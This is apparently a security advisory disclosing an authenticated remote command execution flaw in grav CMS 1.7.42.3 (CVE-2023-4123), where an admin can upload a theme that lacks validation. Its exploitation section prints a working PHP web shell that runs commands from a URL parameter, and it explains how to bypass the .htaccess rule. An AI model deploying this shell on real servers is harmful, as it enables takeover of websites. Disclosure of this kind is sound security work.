grav 1.7.42.3 - Remote Command Execution

Description

grav allows an user to execute commands on the server by abusing the manual install themes functionality

Vulnerability

A Remote Command Execution (RCE) vulnerability has been identified in grav, a admin user or a user with Super User privilegies can upload manual themes, this functionality does not check the integrity of the packages or perform any other type of validation on the uploaded themes, with this flaw we can add a php shell we also need to add a default .htaccess file to bypass the default configuration that prevents the execution of php files in the themes folder in the folder.

Exploitation

In the Portal of grav , we need to go to Tools -> Direct Install and Upload our theme with the payload:

<?php
$cmd=$_GET['cmd'];
system($cmd);

after that, we need to visit the theme path with our shell

Our security policy

We have reserved the ID CVE-2023-4123 to refer to this issue from now on. Disclosure policy

System Information

• Version: grav 1.7.42.3

• Operating System: Linux

Mitigation

There is currently no patch available for this vulnerability.

References

• Vendor page https://github.com/getgrav/grav